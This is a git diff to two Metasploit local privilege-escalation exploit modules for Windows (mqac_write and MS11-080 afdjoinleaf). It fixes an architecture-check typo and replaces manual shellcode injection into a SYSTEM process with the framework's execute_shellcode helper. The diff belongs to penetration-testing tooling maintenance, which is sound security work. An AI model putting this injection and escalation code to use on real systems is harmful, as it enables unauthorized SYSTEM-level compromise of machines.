diff --git a/modules/exploits/windows/local/mqac_write.rb b/modules/exploits/windows/local/mqac_write.rb index 31e3b16b61..6a7fefdf3c 100644 --- a/modules/exploits/windows/local/mqac_write.rb +++ b/modules/exploits/windows/local/mqac_write.rb @@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process def initialize(info={}) super(update_info(info, { @@ -125,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Local if sysinfo["Architecture"] =~ /wow64/i print_error("Running against WOW64 is not supported") return - elsif sysinfo["Architectore"] =~ /x64/ + elsif sysinfo["Architecture"] =~ /x64/ print_error("Running against 64-bit systems is not supported") return end @@ -191,18 +192,10 @@ class Metasploit3 < Msf::Exploit::Local return end - begin - proc = get_system_proc - print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}") - host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS) - mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024)) - - print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}") - host_process.memory.write(mem, payload.encoded) - host_process.thread.create(mem, 0) - rescue ::Exception => e - print_error("Failed to Inject Payload") - print_error(e.to_s) + proc = get_system_proc + print_status("Injecting the payload into SYSTEM process: #{proc['name']}") + unless execute_shellcode(payload.encoded, nil, proc['pid']) + fail_with(Failure::Unknown, "Error while executing the payload") end end diff --git a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb index 747861ed60..8a24a7a9d8 100644 --- a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb +++ b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb @@ -126,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Local if sysinfo["Architecture"] =~ /wow64/i print_error("Running against WOW64 is not supported") return - elsif sysinfo["Architectore"] =~ /x64/ + elsif sysinfo["Architecture"] =~ /x64/ print_error("Running against 64-bit systems is not supported") return end